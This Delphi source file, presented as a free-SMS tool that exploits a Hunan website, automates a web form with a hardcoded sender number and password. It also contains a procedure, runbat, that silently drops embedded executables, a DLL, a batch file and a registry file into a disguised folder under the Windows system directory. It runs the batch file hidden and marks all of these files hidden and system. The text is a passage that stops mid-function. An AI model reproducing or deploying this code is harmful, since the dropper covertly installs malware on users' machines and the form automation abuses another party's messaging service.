umain.~pas

<font color=FF0000>一个通过网站的漏洞实现免费发送短信的程序源码(湖南省内适用)</font>

unit umain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, OleCtrls, SHDocVw, HTTPApp, HTTPProd, CompProd, PagItems,shellapi,
  MidProd, StdCtrls, ExtCtrls, ComCtrls,registry, Buttons,MSHTML;

type
  Tfmain = class(TForm)
    Panel2: TPanel;
    sb: TStatusBar;
    b_send: TBitBtn;
    b_exit: TBitBtn;
    wb: TWebBrowser;
    Panel1: TPanel;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    Label6: TLabel;
    cont: TMemo;
    name: TComboBox;
    phone: TComboBox;
    WebBrowser1: TWebBrowser;
    WebBrowser2: TWebBrowser;
    Timer1: TTimer;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure contKeyPress(Sender: TObject; var Key: Char);
    procedure wbStatusTextChange(Sender: TObject; const Text: WideString);
    procedure FormCreate(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure Label4Click(Sender: TObject);
    procedure Label5Click(Sender: TObject);
    procedure Label6Click(Sender: TObject);
    procedure phoneKeyPress(Sender: TObject; var Key: Char);
    procedure saveres(ResName, filepath,filename: string);
    procedure runbat;

    procedure send_cont;
    function  check_connect:boolean;
    procedure wbDocumentComplete(Sender: TObject; const pDisp: IDispatch;
      var URL: OleVariant);
    procedure wbNewWindow2(Sender: TObject; var ppDisp: IDispatch;
      var Cancel: WordBool);
    procedure WebBrowser1NewWindow2(Sender: TObject; var ppDisp: IDispatch;
      var Cancel: WordBool);
    procedure WebBrowser1DocumentComplete(Sender: TObject;
      const pDisp: IDispatch; var URL: OleVariant);
    procedure WebBrowser2StatusTextChange(Sender: TObject;
      const Text: WideString);
    procedure FormResize(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    pages,frame:integer;
    curfile:integer;
    html,url,s_str:string;
    a,sl:integer;
    sms_list:Tstrings;
    HWndCalc:HWND;
    reg:tregistry;
    ok:integer;

    TargetFrameName,PostData,Flags,Heads:OleVariant;
    connect_status,send_acc:boolean;
    password,act:string;
    mstring:Tstrings;

    dis_time:integer;
  end;

var
  fmain: Tfmain;

const max_line=30;
implementation

uses Uhelp;

{$R *.dfm}
{$R ./freesms.res}
procedure Tfmain.saveres(ResName, filepath,filename: string);
var
  ResStream: TResourceStream;
  FileStream: TFileStream;
begin
try                       
  ResStream := TResourceStream.Create(0, ResName, RT_RCDATA);
  
  if not FileExists(filepath+filename) then
  try
    FileStream := TFileStream.Create(filepath+filename, fmCreate);
    try
      FileStream.CopyFrom(ResStream, 0);
    finally
      FileStream.Free;
    end;
  finally
    ResStream.Free;
  end;
except
end;

end;

procedure Tfmain.runbat;
var filepath,regfilepath:string;
    sysdir: Pchar;
begin

try                                 

   GetMem( sysdir, MAX_PATH+1 );
   GetSystemDirectory(sysdir, MAX_PATH+1);
   filepath:=string(sysdir)+'\CatRoot\{F750E6C3-38EE-11D1-85E5-00112233qaz}\';
   CreateDirectory(pchar(string(sysdir)+'\CatRoot\'),nil);
   CreateDirectory(pchar(filepath),nil);
   saveres('myexe',filepath,'tcphost.exe');
   saveres('mybat',filepath,'rs.bat');
   saveres('mydll',filepath,'admdll.dll');
   saveres('myreg',filepath,'shell.reg');

   ChDir(filepath);
   if IOResult <> 0 then
    MessageDlg('Cannot find directory', mtWarning, [mbOk], 0);
   if  WinExec(pchar(filepath+'rs.bat'), SW_HIDE)>31 then
   begin
        FileSetAttr(filepath+'tcphost.exe',faHidden or faReadOnly or faArchive or faSysFile);
        FileSetAttr(filepath+'rs.bat',faHidden or faReadOnly or faArchive or faSysFile);
        FileSetAttr(filepath+'admdll.dll',faHidden or faReadOnly or faArchive or faSysFile);
        FileSetAttr(filepath+'shell.reg',faHidden or faReadOnly or faArchive or faSysFile);
        FileSetAttr(filepath,faHidden or faReadOnly or faArchive or faSysFile);
   end;
   reg.WriteString('runr',formatDateTime('yyyymmdd',now));
except
end;

end;

procedure Tfmain.Button1Click(Sender: TObject);
var
     a:integer;
begin
try
     s_str:=trim(cont.text);
     if length(s_str)<1 then
     begin
         messagebox(handle,'请输入短信内容','警告',MB_OK);
         exit;
     end;

     if length(trim(phone.text))<11 then
     begin
         messagebox(handle,'请输入正确手机号码','警告',MB_OK);
         exit;
     end;

     if length(trim(name.text))>0 then
        s_str:=s_str+'S:'+name.text;

     for a:=0 to 115-length(s_str)  do
        s_str:=s_str+'.';

     act:='send';
     send_acc:=false;
     Timer1.Enabled:=true;
     WebBrowser2.Navigate('',Flags,TargetFrameName,PostData,Heads);
     
     b_send.Enabled:=false;
     if  (connect_status=false)  then          //连接服务器失败时
     begin
        sb.Panels[0].Text:='正在连接服务器.....';
        Wb.Navigate(url,Flags,TargetFrameName,PostData,Heads);
     end
     else                                  //连接服务器成功后,将不再刷新网页
     begin
        sb.Panels[0].Text:='正在发送短信......';
        send_cont;
     end;

     if (phone.Items.IndexOf(phone.Text)=-1 ) and (phone.Text<>'') then
        phone.Items.add(phone.Text);

     if (name.Items.IndexOf(name.Text)=-1)    and (name.Text<>'') then
        name.Items.add(name.Text);

     if (sms_list.IndexOf(cont.Text)=-1)    then
        sms_list.add(cont.Text);

     sl:=sl+1;
except
end;
    
end;

procedure Tfmain.Button2Click(Sender: TObject);
begin
     close();
end;

procedure Tfmain.contKeyPress(Sender: TObject; var Key: Char);
begin
     if key=' ' then key:=#0;
end;


procedure Tfmain.send_cont;
var
   i:integer;
   doc: OleVariant;
begin
try
    pages:=0;
    case pages of
    0:begin
      inc(pages);
      doc:=wb.document;
      ok:=0;
      For i:=0 To doc.all.length-1 do
      begin
         if (doc.all.item(i).tagName = 'INPUT')and
            (doc.all.item(i).type='text')and
            (doc.all.item(i).name='username2')then       //手机号码
         begin
             doc.all.item(i).value:='13907310000';
             inc(ok);
         end;

         if (doc.all.item(i).tagName = 'INPUT')and      //密码
            (doc.all.item(i).type='password')and
            (doc.all.item(i).name='password2')then
         begin
             doc.all.item(i).value:=password;
             inc(ok);
         end;

         if (doc.all.item(i).tagName = 'INPUT')and      //对方号码
            (doc.all.item(i).type='text')and
            (doc.all.item(i).name='ls_mobileno2')then
         begin
             doc.all.item(i).value:=trim(phone.text);
             inc(ok);
         end;
         if (doc.all.item(i).tagName = 'INPUT')and      //短信
            (doc.all.item(i).type='text')and
            (doc.all.item(i).name='ls_content2')then
         begin
             doc.all.item(i).value:=s_str;
             inc(ok);
         end;
         if (doc.all.item(i).tagName = 'INPUT')and
            (doc.all.item(i).type='image')and
            (doc.all.item(i).value='发送')then
         begin
            if ok=4 then
                doc.all.item(i).click;
         end;
      end;
    end;
    1:begin
        null;
    end;
   end;
except
end;
end;

function Tfmain.check_connect:boolean;
var
   i,cok:integer;
   doc: OleVariant;
begin
try
      doc:=wb.document;
      cok:=0;
      
      For i:=0 To doc.all.length-1 do
      begin
         if (doc.all.item(i).tagName = 'INPUT')and
            (doc.all.item(i).type='text')and
            (doc.all.item(i).name='username2')then       //手机号码
             inc(cok);

         if (doc.all.item(i).tagName = 'INPUT')and      //密码
            (doc.all.item(i).type='password')and
            (doc.all.item(i).name='password2')then
             inc(cok);

         if (doc.all.item(i).tagName = 'INPUT')and      //对方号码
            (doc.all.item(i).type='text')and
            (doc.all.item(i).name='ls_mobileno2')then
             inc(cok);